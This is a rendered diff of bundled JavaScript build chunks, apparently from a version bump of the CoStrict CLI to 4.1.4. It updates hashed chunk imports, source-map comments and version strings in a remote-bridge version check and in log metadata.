import"./chunk-ehc914vn.js";
|
|
25
25
|
import"./chunk-qxp3d963.js";
|
|
26
26
|
import"./chunk-6dpcm4za.js";
|
|
27
27
|
import"./chunk-p26t5d5e.js";
|
|
@@ -34,9 +34,9 @@ import"./chunk-0f6syxra.js";
|
|
|
34
34
|
import"./chunk-4f8eq6n2.js";
|
|
35
35
|
import"./chunk-v1kzp02e.js";
|
|
36
36
|
import"./chunk-p2816w9z.js";
|
|
37
|
-
import"./chunk-
|
|
37
|
+
import"./chunk-x7hqhzet.js";
|
|
38
38
|
import"./chunk-crmjpsqe.js";
|
|
39
|
-
import"./chunk-
|
|
39
|
+
import"./chunk-96012zrd.js";
|
|
40
40
|
import"./chunk-64k6ybmm.js";
|
|
41
41
|
import"./chunk-qr5vq8ys.js";
|
|
42
42
|
import"./chunk-f2mhrmww.js";
|
|
@@ -79,4 +79,4 @@ export {
|
|
|
79
79
|
};
|
|
80
80
|
|
|
81
81
|
//# debugId=77BD5EAB4447EDB364756E2164756E21
|
|
82
|
-
//# sourceMappingURL=chunk-
|
|
82
|
+
//# sourceMappingURL=chunk-vepbgbhk.js.map
|
|
@@ -2,7 +2,7 @@
|
|
|
2
2
|
import {
|
|
3
3
|
init_bridgeEnabled,
|
|
4
4
|
isEnvLessBridgeEnabled
|
|
5
|
-
} from "./chunk-
|
|
5
|
+
} from "./chunk-axh75nac.js";
|
|
6
6
|
import {
|
|
7
7
|
init_semver,
|
|
8
8
|
lt
|
|
@@ -10,7 +10,7 @@ import {
|
|
|
10
10
|
import {
|
|
11
11
|
getFeatureValue_DEPRECATED,
|
|
12
12
|
init_growthbook
|
|
13
|
-
} from "./chunk-
|
|
13
|
+
} from "./chunk-t55pghx5.js";
|
|
14
14
|
import {
|
|
15
15
|
init_lazySchema,
|
|
16
16
|
lazySchema
|
|
@@ -33,8 +33,8 @@ async function getEnvLessBridgeConfig() {
|
|
|
33
33
|
}
|
|
34
34
|
async function checkEnvLessBridgeMinVersion() {
|
|
35
35
|
const cfg = await getEnvLessBridgeConfig();
|
|
36
|
-
if (cfg.min_version && lt("4.1.
|
|
37
|
-
return `Your version of CoStrict (${"4.1.
|
|
36
|
+
if (cfg.min_version && lt("4.1.4", cfg.min_version)) {
|
|
37
|
+
return `Your version of CoStrict (${"4.1.4"}) is too old for Remote Control.
|
|
38
38
|
Version ${cfg.min_version} or higher is required. Run \`csc update\` to update.`;
|
|
39
39
|
}
|
|
40
40
|
return null;
|
|
@@ -93,5 +93,5 @@ var init_envLessBridgeConfig = __esm(() => {
|
|
|
93
93
|
|
|
94
94
|
export { DEFAULT_ENV_LESS_BRIDGE_CONFIG, getEnvLessBridgeConfig, checkEnvLessBridgeMinVersion, shouldShowAppUpgradeMessage, init_envLessBridgeConfig };
|
|
95
95
|
|
|
96
|
-
//# debugId=
|
|
97
|
-
//# sourceMappingURL=chunk-
|
|
96
|
+
//# debugId=5E8035F83EB4506764756E2164756E21
|
|
97
|
+
//# sourceMappingURL=chunk-vh2bq1kq.js.map
|
|
@@ -10,9 +10,9 @@ import {
|
|
|
10
10
|
getEffectiveChannelAllowlist,
|
|
11
11
|
init_channelNotification,
|
|
12
12
|
wrapChannelMessage
|
|
13
|
-
} from "./chunk-
|
|
14
|
-
import"./chunk-
|
|
15
|
-
import"./chunk-
|
|
13
|
+
} from "./chunk-948sac2f.js";
|
|
14
|
+
import"./chunk-e1rckp3d.js";
|
|
15
|
+
import"./chunk-t55pghx5.js";
|
|
16
16
|
import"./chunk-fs34dpdm.js";
|
|
17
17
|
import"./chunk-9dwdn2sk.js";
|
|
18
18
|
import"./chunk-zwarn9h7.js";
|
|
@@ -24,7 +24,7 @@ import"./chunk-pe9b769s.js";
|
|
|
24
24
|
import"./chunk-64c1avct.js";
|
|
25
25
|
import"./chunk-8g5pe1gr.js";
|
|
26
26
|
import"./chunk-nq504fa3.js";
|
|
27
|
-
import"./chunk-
|
|
27
|
+
import"./chunk-ehc914vn.js";
|
|
28
28
|
import"./chunk-qxp3d963.js";
|
|
29
29
|
import"./chunk-6dpcm4za.js";
|
|
30
30
|
import"./chunk-p26t5d5e.js";
|
|
@@ -37,9 +37,9 @@ import"./chunk-0f6syxra.js";
|
|
|
37
37
|
import"./chunk-4f8eq6n2.js";
|
|
38
38
|
import"./chunk-v1kzp02e.js";
|
|
39
39
|
import"./chunk-p2816w9z.js";
|
|
40
|
-
import"./chunk-
|
|
40
|
+
import"./chunk-x7hqhzet.js";
|
|
41
41
|
import"./chunk-crmjpsqe.js";
|
|
42
|
-
import"./chunk-
|
|
42
|
+
import"./chunk-96012zrd.js";
|
|
43
43
|
import"./chunk-64k6ybmm.js";
|
|
44
44
|
import"./chunk-qr5vq8ys.js";
|
|
45
45
|
import"./chunk-f2mhrmww.js";
|
|
@@ -83,4 +83,4 @@ export {
|
|
|
83
83
|
};
|
|
84
84
|
|
|
85
85
|
//# debugId=7B0D76A762A9C8E264756E2164756E21
|
|
86
|
-
//# sourceMappingURL=chunk-
|
|
86
|
+
//# sourceMappingURL=chunk-vjdg504j.js.map
|
|
@@ -2,11 +2,11 @@
|
|
|
2
2
|
import {
|
|
3
3
|
init_sink,
|
|
4
4
|
initializeAnalyticsSink
|
|
5
|
-
} from "./chunk-
|
|
5
|
+
} from "./chunk-qgq7k5n1.js";
|
|
6
6
|
import {
|
|
7
7
|
captureException,
|
|
8
8
|
init_sentry
|
|
9
|
-
} from "./chunk-
|
|
9
|
+
} from "./chunk-5kwvenz7.js";
|
|
10
10
|
import {
|
|
11
11
|
CACHE_PATHS,
|
|
12
12
|
attachErrorLogSink,
|
|
@@ -97,7 +97,7 @@ function appendToLog(path, message) {
|
|
|
97
97
|
cwd: getFsImplementation().cwd(),
|
|
98
98
|
userType: process.env.USER_TYPE,
|
|
99
99
|
sessionId: getSessionId(),
|
|
100
|
-
version: "4.1.
|
|
100
|
+
version: "4.1.4"
|
|
101
101
|
};
|
|
102
102
|
getLogWriter(path).write(messageWithTimestamp);
|
|
103
103
|
}
|
|
@@ -179,5 +179,5 @@ function initSinks() {
|
|
|
179
179
|
|
|
180
180
|
export { initSinks };
|
|
181
181
|
|
|
182
|
-
//# debugId=
|
|
183
|
-
//# sourceMappingURL=chunk-
|
|
182
|
+
//# debugId=6BBCBDC6182EA9C764756E2164756E21
|
|
183
|
+
//# sourceMappingURL=chunk-vyry6wjr.js.map
|